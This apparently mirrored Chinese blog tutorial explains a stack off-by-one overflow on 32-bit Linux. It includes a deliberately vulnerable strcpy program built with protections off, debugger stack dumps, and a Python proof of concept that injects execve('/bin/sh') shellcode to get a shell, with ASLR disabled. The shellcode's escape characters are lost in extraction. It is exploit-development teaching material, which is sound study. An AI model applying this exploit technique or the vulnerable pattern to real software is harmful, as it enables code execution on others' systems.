zoukankan      html  css  js  c++  java
  • Linux漏洞分析入门笔记-Off-By-One(栈)

    ubuntu-16.04.5(X86)

    IDA7.0

    0x00.漏洞描述

    1.什么是off by one?又称1字节溢出。

    源字符串长度等于目标缓冲区长度时,将源字符串复制到目标缓冲区可能会导致off by one。

    当源字符串长度等于目标缓冲区长度时,NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低位(1字节),这可能导致任意的代码执行。

    0x01.漏洞分析

    1.示例代码:

     1 #include <stdio.h>
     2 #include <string.h>
     3 void foo(char* arg);
     4 void bar(char* arg);
     5 void foo(char* arg) {
     6 bar(arg); /* [1] */
     7 }
     8 void bar(char* arg) {
     9 char buf[256];
    10 strcpy(buf, arg); /* [2] */
    11 }
    12 int main(int argc, char *argv[]) {
    13 if(strlen(argv[1])>256) { /* [3] */
    14 printf("Attempted Buffer Overflow
    ");
    15 fflush(stdout);
    16 return -1;
    17 }
    18 foo(argv[1]); /* [4] */
    19 return 0;
    20 }

    编译生成目标文件:

    gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

    上述示例代码的第[2]行是可能发生off by one溢出的地方。目标缓冲区长度为256,因此长度为256字节的源字符串可能导致任意代码执行。

    2.如何产生任意代码执行?动态调试,如下图1所示,拷贝字符串前栈情况。

              图1

    如果调用foo者的EBP位于目标缓冲区之上,则在strcpy之后,单个NULL(0x00)字节将覆盖调用者EBP的最后一个字节,如图2所示。

              图2

    构造poc

    //偏移

    0xBFFFEF00-0xBFFFEE58+0x4=0xAC

    python -c "print 'A' * 172 + 'B' * 4 + 'C' * 80"

    执行strcpy之后,存储在目标缓冲区buf之上的EBP被一个NULL(0x00)字节所覆盖,ebp从0xBFFFEF64变为0xBFFFEF00(可对比图1图2)。从调试器堆栈布局我们可以看到堆栈位置0xBFFFEF00是目标缓冲区buf的一部分。

    //拷贝前栈
    BFFFEE58  F63D4E2E  
    BFFFEE5C  B7E0CF12  libc_2.23.so:B7E0C
    BFFFEE60  000008EA  
    BFFFEE64  B7E16618  libc_2.23.so:B7E16
    BFFFEE68  B7E15DC8  libc_2.23.so:B7E15
    BFFFEE6C  07B1EA71  
    BFFFEE70  B7FF7AC4  ld_2.23.so:__get_c
    BFFFEE74  BFFFEF20  [stack]:BFFFEF20
    BFFFEE78  B7FF59F3  ld_2.23.so:__get_c
    BFFFEE7C  B7FD5470  debug003:B7FD5470
    BFFFEE80  00000000  
    BFFFEE84  00000000  
    BFFFEE88  B7FFF000  ld_2.23.so:B7FFF00
    BFFFEE8C  B7FFFC08  ld_2.23.so:_r_debu
    BFFFEE90  00000000  
    BFFFEE94  00000000  
    BFFFEE98  00000000  
    BFFFEE9C  BFFFEF2C  [stack]:BFFFEF2C
    BFFFEEA0  B7FE3FC9  ld_2.23.so:_dl_rtl
    BFFFEEA4  00000000  
    BFFFEEA8  B7FFFAD0  ld_2.23.so:_r_debu
    BFFFEEAC  BFFFEF28  [stack]:BFFFEF28
    BFFFEEB0  BFFFEF70  [stack]:BFFFEF70
    BFFFEEB4  B7FE4B4B  ld_2.23.so:_dl_rtl
    BFFFEEB8  08048220  LOAD:08048220
    BFFFEEBC  BFFFEF28  [stack]:BFFFEF28
    BFFFEEC0  B7FFFA74  ld_2.23.so:_r_debu
    BFFFEEC4  00000001  
    BFFFEEC8  B7FD54A0  debug003:B7FD54A0
    BFFFEECC  00000001  
    BFFFEED0  00000000  
    BFFFEED4  00000001  
    BFFFEED8  B7FFF918  ld_2.23.so:_r_debu
    BFFFEEDC  00F0B5FF  
    BFFFEEE0  BFFFEF1E  [stack]:BFFFEF1E
    BFFFEEE4  00000001  
    BFFFEEE8  000000C2  
    BFFFEEEC  B7E996BB  libc_2.23.so:strer
    BFFFEEF0  BFFFEF1E  [stack]:BFFFEF1E
    BFFFEEF4  BFFFF020  [stack]:BFFFF020
    BFFFEEF8  000000E0  
    BFFFEEFC  00000000  
    BFFFEF00  B7FFF000  ld_2.23.so:B7FFF00
    BFFFEF04  B7FFF918  ld_2.23.so:_r_debu
    BFFFEF08  BFFFEF20  [stack]:BFFFEF20
    BFFFEF0C  08048293  LOAD:aLibcStartMai
    BFFFEF10  00000000  
    BFFFEF14  BFFFEFB4  [stack]:BFFFEFB4
    BFFFEF18  B7FBB000  libc_2.23.so:B7FBB
    BFFFEF1C  0000FF17  
    BFFFEF20  FFFFFFFF  
    BFFFEF24  0000002F  
    BFFFEF28  B7E15DC8  libc_2.23.so:B7E15
    BFFFEF2C  B7FD51B0  debug003:B7FD51B0
    BFFFEF30  00008000  
    BFFFEF34  08049FF4  .got.plt:_GLOBAL_O
    BFFFEF38  00000002  
    BFFFEF3C  08048341  _init_proc+29
    BFFFEF40  00000002  
    BFFFEF44  00000000  
    BFFFEF48  08049FF4  .got.plt:_GLOBAL_O
    BFFFEF4C  08048531  __libc_csu_init+21
    BFFFEF50  B7FBB000  libc_2.23.so:B7FBB
    BFFFEF54  B7FBB000  libc_2.23.so:B7FBB
    BFFFEF58  BFFFEF64  [stack]:BFFFEF64
    BFFFEF5C  08048475  foo+11
    BFFFEF60  BFFFF20D  [stack]:BFFFF20D
    BFFFEF64  BFFFEF78  [stack]:BFFFEF78
    BFFFEF68  080484F9  main+62
    BFFFEF6C  BFFFF20D  [stack]:BFFFF20D
    //拷贝后栈
    BFFFEE58  41414141  
    BFFFEE5C  41414141  
    BFFFEE60  41414141  
    BFFFEE64  41414141  
    BFFFEE68  41414141  
    BFFFEE6C  41414141  
    BFFFEE70  41414141  
    BFFFEE74  41414141  
    BFFFEE78  41414141  
    BFFFEE7C  41414141  
    BFFFEE80  41414141  
    BFFFEE84  41414141  
    BFFFEE88  41414141  
    BFFFEE8C  41414141  
    BFFFEE90  41414141  
    BFFFEE94  41414141  
    BFFFEE98  41414141  
    BFFFEE9C  41414141  
    BFFFEEA0  41414141  
    BFFFEEA4  41414141  
    BFFFEEA8  41414141  
    BFFFEEAC  41414141  
    BFFFEEB0  41414141  
    BFFFEEB4  41414141  
    BFFFEEB8  41414141  
    BFFFEEBC  41414141  
    BFFFEEC0  41414141  
    BFFFEEC4  41414141  
    BFFFEEC8  41414141  
    BFFFEECC  41414141  
    BFFFEED0  41414141  
    BFFFEED4  41414141  
    BFFFEED8  41414141  
    BFFFEEDC  41414141  
    BFFFEEE0  41414141  
    BFFFEEE4  41414141  
    BFFFEEE8  41414141  
    BFFFEEEC  41414141  
    BFFFEEF0  41414141  
    BFFFEEF4  41414141  
    BFFFEEF8  41414141  
    BFFFEEFC  41414141  
    BFFFEF00  41414141  
    BFFFEF04  42424242  
    BFFFEF08  43434343  
    BFFFEF0C  43434343  
    BFFFEF10  43434343  
    BFFFEF14  43434343  
    BFFFEF18  43434343  
    BFFFEF1C  43434343  
    BFFFEF20  43434343  
    BFFFEF24  43434343  
    BFFFEF28  43434343  
    BFFFEF2C  43434343  
    BFFFEF30  43434343  
    BFFFEF34  43434343  
    BFFFEF38  43434343  
    BFFFEF3C  43434343  
    BFFFEF40  43434343  
    BFFFEF44  43434343  
    BFFFEF48  43434343  
    BFFFEF4C  43434343  
    BFFFEF50  43434343  
    BFFFEF54  43434343  
    BFFFEF58  BFFFEF00  [stack]:BFFFEF00
    BFFFEF5C  08048475  foo+11
    BFFFEF60  BFFFF20D  [stack]:BFFFF20D
    BFFFEF64  BFFFEF78  [stack]:BFFFEF78
    BFFFEF68  080484F9  main+62
    BFFFEF6C  BFFFF20D  [stack]:BFFFF20D

    3.根据栈回溯,可以控制这个堆栈位置(0xBFFFEF00),因此他控制指令指针(eip )使用他可以实现任意代码执行,如图3图4。

              图3

              图4

    leave指令相当执行了两条指令 mov ebp, esp; pop ebp,而EPB后面刚好是函数返回地址,再执行ret指令时EIP就指向了攻击者可以控制返回地址。

    4.Poc编写获取shell

     1 #!/usr/bin/env python
     2 import struct
     3 from subprocess import call
     4 #execve(/bin/sh)
     5 shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80x90x90x90"
     6 ret_addr = 0xBFFFEF18
     7 def conv(num):
     8 return struct.pack("<I",num)
     9 buf = "A" * 172
    10 buf += conv(ret_addr)
    11 buf += "x90" * 30
    12 buf += shellcode
    13 buf += "x90" * 22
    14 print "Calling  program"
    15 call(["./vuln", buf])

              图5

    图5所示,成功获取shell。

    0x02.总结

    1.如果堆栈是随机的就不能成功利用,每次大小都是不一样的,很难固定shellcode的位置,所以关闭了ASLR。还有就是被溢出的地址必须得是buf的地址才能有机会成功。

  • 相关阅读:
    HTML 表单和表格
    HTML 多媒体
    k8s-pod健康检查_探针
    中医穴位小知识
    k8s-yaml定义pod属性说明
    k8s-yaml格式的pod定义文件完整内容
    k8s-redis集群属性简单解释
    ls 的顺序与倒序排列
    K8S kind几种类型
    openssl自签证书
  • 原文地址:https://www.cnblogs.com/2014asm/p/10246063.html
Copyright © 2011-2022 走看看